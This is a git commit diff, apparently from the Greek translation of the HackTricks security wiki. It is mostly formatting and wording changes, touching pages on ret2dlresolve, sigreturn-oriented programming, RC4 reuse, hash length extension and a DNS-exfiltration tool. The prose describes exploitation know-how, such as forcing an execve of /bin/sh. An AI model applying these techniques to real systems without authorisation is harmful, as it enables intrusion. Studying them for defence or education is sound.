Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente

This commit is contained in:
Translator 2025-01-03 18:21:31 +00:00
parent 91987d3a28
commit d6d9e588ab
73 changed files with 1325 additions and 1063 deletions

View File

@ -69,6 +69,12 @@ def ref(matchobj):
return result return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
return new_content
def iterate_chapters(sections): def iterate_chapters(sections):
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
return return
@ -99,6 +105,7 @@ if __name__ == '__main__':
current_chapter = chapter current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}' regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content']) new_content = re.sub(regex, ref, chapter['content'])
new_content = add_read_time(new_content)
chapter['content'] = new_content chapter['content'] = new_content
content = json.dumps(book) content = json.dumps(book)

View File

@ -1,13 +1,10 @@
# HackTricks # HackTricks
Reading time: {{ #reading_time }}
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure> <figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP] > [!TIP] > **Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/οτιδήποτε έχω μάθει από CTFs, πραγματικές εφαρμογές, διαβάζοντας έρευνες και ειδήσεις.**
> **Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/οτιδήποτε έχω μάθει από CTFs, πραγματικές εφαρμογές, διαβάζοντας έρευνες και ειδήσεις.**
Για να ξεκινήσετε, ακολουθήστε αυτή τη σελίδα όπου θα βρείτε τη **τυπική ροή** που **πρέπει να ακολουθήσετε όταν κάνετε pentesting** σε μία ή περισσότερες **μηχανές:** Για να ξεκινήσετε, ακολουθήστε αυτή τη σελίδα όπου θα βρείτε τη **τυπική ροή** που **πρέπει να ακολουθήσετε όταν κάνετε pentesting** σε μία ή περισσότερες **μηχανές:**
@ -35,7 +32,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
[**RootedCON**](https://www.rootedcon.com) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία. [**RootedCON**](https://www.rootedcon.com) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
{% embed url="https://www.rootedcon.com/" %} {{#ref}}
https://www.rootedcon.com/
{{#endref}}
--- ---
@ -43,11 +42,13 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure> <figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** είναι η **#1** ηθική hacking και **bug bounty platform** στην **Ευρώπη**. **Intigriti** είναι η **#1 στην Ευρώπη** πλατφόρμα ηθικού hacking και **bug bounty.**
**Bug bounty tip**: **εγγραφείτε** στο **Intigriti**, μια premium **bug bounty platform που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε βραβεία έως **$100,000**! **Tip για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {{#ref}}
https://go.intigriti.com/hacktricks
{{#endref}}
--- ---
@ -56,11 +57,13 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας. Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.
Αποκτήστε πρόσβαση σήμερα: Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {{#ref}}
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
--- ---
@ -70,9 +73,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty! Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
- **Hacking Insights:** Συμμετάσχετε σε περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking - **Insights για Hacking:** Συμμετάσχετε σε περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
- **Real-Time Hack News:** Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο - **Ειδήσεις Hack σε Πραγματικό Χρόνο:** Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και insights σε πραγματικό χρόνο
- **Latest Announcements:** Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounties και κρίσιμες ενημερώσεις πλατφόρμας - **Τελευταίες Ανακοινώσεις:** Μείνετε ενημερωμένοι με τις πιο πρόσφατες βραβεύσεις bug που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
**Ελάτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους hackers σήμερα! **Ελάτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
@ -86,7 +89,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές. **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
{{#endref}}
--- ---
@ -96,10 +101,10 @@ generic-methodologies-and-resources/pentesting-methodology.md
**SerpApi** προσφέρει γρήγορες και εύκολες APIs σε πραγματικό χρόνο για **πρόσβαση στα αποτελέσματα μηχανών αναζήτησης**. Scrape-άρουν τις μηχανές αναζήτησης, χειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς. **SerpApi** προσφέρει γρήγορες και εύκολες APIs σε πραγματικό χρόνο για **πρόσβαση στα αποτελέσματα μηχανών αναζήτησης**. Scrape-άρουν τις μηχανές αναζήτησης, χειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
Μια συνδρομή σε ένα από τα σχέδια του SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικά APIs για scraping διαφορετικών μηχανών αναζήτησης, συμπεριλαμβανομένων των Google, Bing, Baidu, Yahoo, Yandex και άλλων.\ Μια συνδρομή σε ένα από τα σχέδια της SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικά APIs για scraping διαφορετικών μηχανών αναζήτησης, συμπεριλαμβανομένων των Google, Bing, Baidu, Yahoo, Yandex και άλλων.\
Σε αντίθεση με άλλους παρόχους, **το SerpApi δεν κάνει μόνο scraping οργανικών αποτελεσμάτων**. Οι απαντήσεις του SerpApi περιλαμβάνουν σταθερά όλες τις διαφημίσεις, inline εικόνες και βίντεο, γραφήματα γνώσεων και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης. Σε αντίθεση με άλλους παρόχους, **η SerpApi δεν scrape-άρει μόνο οργανικά αποτελέσματα**. Οι απαντήσεις της SerpApi περιλαμβάνουν σταθερά όλες τις διαφημίσεις, inline εικόνες και βίντεο, γραφήματα γνώσεων και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης.
Οι τρέχοντες πελάτες του SerpApi περιλαμβάνουν **Apple, Shopify και GrubHub**.\ Οι τρέχοντες πελάτες της SerpApi περιλαμβάνουν **Apple, Shopify και GrubHub**.\
Για περισσότερες πληροφορίες, ελέγξτε το [**blog**](https://serpapi.com/blog/)**,** ή δοκιμάστε ένα παράδειγμα στο [**playground**](https://serpapi.com/playground)**.**\ Για περισσότερες πληροφορίες, ελέγξτε το [**blog**](https://serpapi.com/blog/)**,** ή δοκιμάστε ένα παράδειγμα στο [**playground**](https://serpapi.com/playground)**.**\
Μπορείτε να **δημιουργήσετε έναν δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign_up)**.** Μπορείτε να **δημιουργήσετε έναν δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign_up)**.**
@ -111,7 +116,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
Μάθετε τις τεχνολογίες και τις δεξιότητες που απαιτούνται για να εκτελέσετε έρευνα ευπαθειών, penetration testing και reverse engineering για να προστατεύσετε τις κινητές εφαρμογές και συσκευές. **Κατακτήστε την ασφάλεια iOS και Android** μέσω των on-demand μαθημάτων μας και **λάβετε πιστοποίηση**: Μάθετε τις τεχνολογίες και τις δεξιότητες που απαιτούνται για να εκτελέσετε έρευνα ευπαθειών, penetration testing και reverse engineering για να προστατεύσετε τις κινητές εφαρμογές και συσκευές. **Κατακτήστε την ασφάλεια iOS και Android** μέσω των on-demand μαθημάτων μας και **λάβετε πιστοποίηση**:
{% embed url="https://academy.8ksec.io/" %} {{#ref}}
https://academy.8ksec.io/
{{#endref}}
--- ---
@ -123,11 +130,13 @@ generic-methodologies-and-resources/pentesting-methodology.md
Η WebSec είναι μια **all-in-one εταιρεία ασφάλειας**, που σημαίνει ότι τα κάνει όλα: Pentesting, **Security** Audits, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Phishing, Ανασκόπηση Κώδικα, Ανάπτυξη Exploit, Εξωτερική Ανάθεση Ειδικών Ασφαλείας και πολλά άλλα. Η WebSec είναι μια **all-in-one εταιρεία ασφάλειας**, που σημαίνει ότι τα κάνει όλα: Pentesting, **Security** Audits, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Phishing, Ανασκόπηση Κώδικα, Ανάπτυξη Exploit, Εξωτερική Ανάθεση Ειδικών Ασφαλείας και πολλά άλλα.
Ένα άλλο ενδιαφέρον στοιχείο σχετικά με την WebSec είναι ότι, σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις δεξιότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, δηλώνει στην ιστοσελίδα της "**Αν δεν μπορούμε να το χακάρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) τους και στο [**blog**](https://websec.nl/blog/)! Ένα άλλο ενδιαφέρον στοιχείο για την WebSec είναι ότι, σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις δεξιότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, αναφέρει στην ιστοσελίδα της "**Αν δεν μπορούμε να το hack-άρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους!
Επιπλέον, η WebSec είναι επίσης **δεσμευμένος υποστηρικτής του HackTricks.** Επιπλέον, η WebSec είναι επίσης **δεσμευμένος υποστηρικτής του HackTricks.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} {{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
{{#endref}}
## License & Disclaimer ## License & Disclaimer

View File

@ -8,16 +8,18 @@
Η συνάρτηση **`_dl_runtime_resolve`** παίρνει από τη στοίβα αναφορές σε κάποιες δομές που χρειάζεται για να **επιλύσει** το καθορισμένο σύμβολο. Η συνάρτηση **`_dl_runtime_resolve`** παίρνει από τη στοίβα αναφορές σε κάποιες δομές που χρειάζεται για να **επιλύσει** το καθορισμένο σύμβολο.
Επομένως, είναι δυνατό να **ψευδοποιηθούν όλες αυτές οι δομές** ώστε η δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η συνάρτηση **`system`**) και να την καλέσει με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**). Επομένως, είναι δυνατό να **ψευδοποιηθούν όλες αυτές οι δομές** για να κάνει η δυναμική σύνδεση την επίλυση του ζητούμενου συμβόλου (όπως η συνάρτηση **`system`**) και να την καλέσει με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**).
Συνήθως, όλες αυτές οι δομές ψευδοποιούνται κάνοντας μια **αρχική αλυσίδα ROP που καλεί `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την `read` σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζεται καλώντας **`_dl_runtime_resolve`**, κάνοντάς την να **επιλύσει τη διεύθυνση του `system`** στις ψευδοποιημένες δομές και **καλώντας αυτή τη διεύθυνση** με τη διεύθυνση του `$'/bin/sh'`. Συνήθως, όλες αυτές οι δομές ψευδοποιούνται κάνοντας μια **αρχική αλυσίδα ROP που καλεί `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την `read` σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζεται καλώντας **`_dl_runtime_resolve`**, κάνοντάς την να **επιλύσει τη διεύθυνση του `system`** στις ψευδοποιημένες δομές και **καλώντας αυτή τη διεύθυνση** με τη διεύθυνση του `$'/bin/sh'`.
> [!TIP] > [!TIP]
> Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν syscall gadgets (για να χρησιμοποιηθούν τεχνικές όπως [**ret2syscall**](rop-syscall-execv/) ή [SROP](srop-sigreturn-oriented-programming/)) και δεν υπάρχουν τρόποι να διαρρεύσουν διευθύνσεις libc. > Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν gadgets syscall (για να χρησιμοποιηθούν τεχνικές όπως [**ret2syscall**](rop-syscall-execv/) ή [SROP](srop-sigreturn-oriented-programming/)) και δεν υπάρχουν τρόποι να διαρρεύσουν διευθύνσεις libc.
Δείτε αυτό το βίντεο για μια ωραία εξήγηση σχετικά με αυτή την τεχνική στο δεύτερο μισό του βίντεο: Δείτε αυτό το βίντεο για μια ωραία εξήγηση σχετικά με αυτή την τεχνική στο δεύτερο μισό του βίντεο:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} {{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
Ή δείτε αυτές τις σελίδες για μια βήμα-βήμα εξήγηση: Ή δείτε αυτές τις σελίδες για μια βήμα-βήμα εξήγηση:

View File

@ -6,12 +6,12 @@
**`Sigreturn`** είναι μια ειδική **syscall** που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν **χειριστή σήματος**, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα. **`Sigreturn`** είναι μια ειδική **syscall** που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν **χειριστή σήματος**, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα.
Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** του σαν να μην έχει συμβεί τίποτα. Εδώ έρχεται η **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το stack frame (την ενότητα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος. Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται στο παιχνίδι το **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το πλαίσιο στοίβας (το τμήμα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.
Το ενδιαφέρον είναι πώς η **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στο stack.** Όταν το σήμα δεν είναι πλέον μπλοκαρισμένο, **`sigreturn` απομακρύνει αυτές τις τιμές από το stack**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση τους πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη στο stack (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή του stack. Το ενδιαφέρον μέρος είναι πώς το **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στη στοίβα.** Όταν το σήμα δεν είναι πλέον αποκλεισμένο, **`sigreturn` αφαιρεί αυτές τις τιμές από τη στοίβα**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση τους πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη στοίβας (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή της στοίβας.
> [!CAUTION] > [!CAUTION]
> Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στο **stack** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές των καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`. > Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στη **στοίβα** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`.
Σημειώστε πώς αυτό θα ήταν μια **τύπου Ret2syscall** που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls: Σημειώστε πώς αυτό θα ήταν μια **τύπου Ret2syscall** που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls:
@ -19,7 +19,7 @@
../rop-syscall-execv/ ../rop-syscall-execv/
{{#endref}} {{#endref}}
Αν σας ενδιαφέρει, αυτή είναι η **δομή sigcontext** που αποθηκεύεται στο stack για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): Αν σας ενδιαφέρει, αυτή είναι η **δομή sigcontext** που αποθηκεύεται στη στοίβα για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
``` ```
+--------------------+--------------------+ +--------------------+--------------------+
| rt_sigeturn() | uc_flags | | rt_sigeturn() | uc_flags |
@ -55,13 +55,15 @@
| __reserved | sigmask | | __reserved | sigmask |
+--------------------+--------------------+ +--------------------+--------------------+
``` ```
Για μια καλύτερη εξήγηση, ελέγξτε επίσης: Για μια καλύτερη εξήγηση ελέγξτε επίσης:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} {{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Παράδειγμα ## Παράδειγμα
Μπορείτε να [**βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) όπου η κλήση στο signeturn κατασκευάζεται μέσω ROP (βάζοντας στο rxa την τιμή `0xf`), αν και αυτή είναι η τελική εκμετάλλευση από εκεί: Μπορείτε να [**βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) όπου η κλήση στο signeturn κατασκευάζεται μέσω ROP (βάζοντας στο rxa την τιμή `0xf`), αν και αυτό είναι το τελικό exploit από εκεί:
```python ```python
from pwn import * from pwn import *

View File

@ -10,7 +10,9 @@
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Φορτωτής για εκτέλεση εντολών και λήψη εξόδου μέσω DNS αιτημάτων στο burpcollab. [https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Φορτωτής για εκτέλεση εντολών και λήψη εξόδου μέσω DNS αιτημάτων στο burpcollab.
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} {{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) [https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

View File

@ -48,7 +48,9 @@ Take it to the top
Whisper my world Whisper my world
``` ```
{% embed url="https://codewithrockstar.com/" %} {{#ref}}
https://codewithrockstar.com/
{{#endref}}
## PETOOH ## PETOOH
``` ```

View File

@ -29,7 +29,9 @@
### **Εργαλείο** ### **Εργαλείο**
{% embed url="https://github.com/iagox86/hash_extender" %} {{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
### Αναφορές ### Αναφορές

View File

@ -1,11 +1,15 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
Αν μπορείτε με κάποιο τρόπο να κρυπτογραφήσετε ένα απλό κείμενο χρησιμοποιώντας RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης. Αν μπορείτε με κάποιον τρόπο να κρυπτογραφήσετε ένα απλό κείμενο χρησιμοποιώντας RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης.
Αν μπορείτε να κρυπτογραφήσετε ένα γνωστό απλό κείμενο, μπορείτε επίσης να εξάγετε τον κωδικό πρόσβασης. Περισσότερες αναφορές μπορείτε να βρείτε στη μηχανή HTB Kryptos: Αν μπορείτε να κρυπτογραφήσετε ένα γνωστό απλό κείμενο, μπορείτε επίσης να εξάγετε τον κωδικό πρόσβασης. Περισσότερες αναφορές μπορείτε να βρείτε στη μηχανή HTB Kryptos:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} {{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} {{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -27,7 +27,9 @@
## **Εργαλείο** ## **Εργαλείο**
{% embed url="https://github.com/iagox86/hash_extender" %} {{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
## Αναφορές ## Αναφορές

View File

@ -1,11 +1,15 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
Αν μπορείτε με κάποιο τρόπο να κρυπτογραφήσετε ένα απλό κείμενο χρησιμοποιώντας RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης. Αν μπορείτε με κάποιον τρόπο να κρυπτογραφήσετε ένα απλό κείμενο χρησιμοποιώντας RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης.
Αν μπορείτε να κρυπτογραφήσετε ένα γνωστό απλό κείμενο, μπορείτε επίσης να εξάγετε τον κωδικό πρόσβασης. Περισσότερες αναφορές μπορείτε να βρείτε στη μηχανή HTB Kryptos: Αν μπορείτε να κρυπτογραφήσετε ένα γνωστό απλό κείμενο, μπορείτε επίσης να εξάγετε τον κωδικό πρόσβασης. Περισσότερες αναφορές μπορείτε να βρείτε στη μηχανή HTB Kryptos:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} {{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} {{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Ανακαλύψεις Περιουσιακών Στοιχείων ## Ανακαλύψεις Περιουσιακών Στοιχείων
> Έτσι σας είπαν ότι όλα όσα ανήκουν σε μια εταιρεία είναι εντός του πεδίου εφαρμογής, και θέλετε να καταλάβετε τι πραγματικά κατέχει αυτή η εταιρεία. > Έτσι σας είπαν ότι όλα όσα ανήκουν σε μια εταιρεία είναι εντός του πεδίου εφαρμογής, και θέλετε να καταλάβετε τι πραγματικά κατέχει αυτή η εταιρεία.
@ -17,14 +16,14 @@
### **Εξαγορές** ### **Εξαγορές**
Πρώτα απ' όλα, πρέπει να γνωρίζουμε ποιες **άλλες εταιρείες ανήκουν στην κύρια εταιρεία**.\ Πρώτα απ' όλα, πρέπει να γνωρίζουμε ποιες **άλλες εταιρείες ανήκουν στην κύρια εταιρεία**.\
